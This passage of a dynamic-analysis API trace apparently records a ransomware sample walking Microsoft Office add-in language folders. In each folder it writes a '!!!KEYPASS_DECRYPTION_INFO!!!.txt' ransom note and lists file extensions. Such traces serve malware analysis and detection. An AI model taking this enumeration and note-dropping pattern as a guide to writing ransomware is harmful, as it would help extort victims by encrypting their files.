nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.328] CloseHandle (hObject=0x728) returned 1 [0248.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa008 [0248.329] FindNextFileW (in: hFindFile=0x2efa008, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.329] FindNextFileW (in: hFindFile=0x2efa008, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.329] FindNextFileW (in: hFindFile=0x2efa008, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.329] FindNextFileW (in: hFindFile=0x2efa008, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.329] FindNextFileW (in: hFindFile=0x2efa008, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.329] FindNextFileW (in: hFindFile=0x2efa008, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.329] FindNextFileW (in: hFindFile=0x2efa008, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.329] FindNextFileW (in: hFindFile=0x2efa008, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.329] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.329] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.329] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.329] GetLastError () returned 0x3f0 [0248.329] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.329] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\pl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c [0248.351] GetFileType (hFile=0x72c) returned 0x1 [0248.352] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.352] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.352] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.352] WriteFile (in: hFile=0x72c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.353] WriteFile (in: hFile=0x72c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.353] CloseHandle (hObject=0x72c) returned 1 [0248.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa0c8 [0248.353] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.353] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.353] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.353] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.353] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.353] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.353] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.354] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.354] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.354] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.354] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.354] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.354] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.354] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.354] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.354] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.354] FindNextFileW (in: hFindFile=0x2efa0c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.354] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.354] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\PRIVATE_ODBC32.dll") returned=".dll" [0248.354] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.354] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.354] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.354] GetLastError () returned 0x3f0 [0248.354] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.354] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\prs-af\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x730 [0248.358] GetFileType (hFile=0x730) returned 0x1 [0248.358] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.358] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.358] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.358] WriteFile (in: hFile=0x730, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.359] WriteFile (in: hFile=0x730, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.359] CloseHandle (hObject=0x730) returned 1 [0248.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa108 [0248.359] FindNextFileW (in: hFindFile=0x2efa108, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.359] FindNextFileW (in: hFindFile=0x2efa108, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.359] FindNextFileW (in: hFindFile=0x2efa108, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.359] FindNextFileW (in: hFindFile=0x2efa108, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.359] FindNextFileW (in: hFindFile=0x2efa108, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.359] FindNextFileW (in: hFindFile=0x2efa108, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.359] FindNextFileW (in: hFindFile=0x2efa108, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.360] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.360] FindNextFileW (in: hFindFile=0x2efa108, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.360] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.360] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.360] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.360] GetLastError () returned 0x3f0 [0248.360] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.360] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\pt-br\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734 [0248.646] GetFileType (hFile=0x734) returned 0x1 [0248.647] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.647] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.647] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.647] WriteFile (in: hFile=0x734, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.648] WriteFile (in: hFile=0x734, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.648] CloseHandle (hObject=0x734) returned 1 [0248.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa188 [0248.648] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.648] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.648] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.648] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.649] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.649] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.649] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.649] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.649] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.649] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.649] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.649] FindNextFileW (in: hFindFile=0x2efa188, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.649] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.649] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.649] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.649] GetLastError () returned 0x3f0 [0248.649] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.649] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\pt-pt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x738 [0248.762] GetFileType (hFile=0x738) returned 0x1 [0248.762] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.762] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.762] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.763] WriteFile (in: hFile=0x738, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.763] WriteFile (in: hFile=0x738, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.763] CloseHandle (hObject=0x738) returned 1 [0248.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3900130 [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query 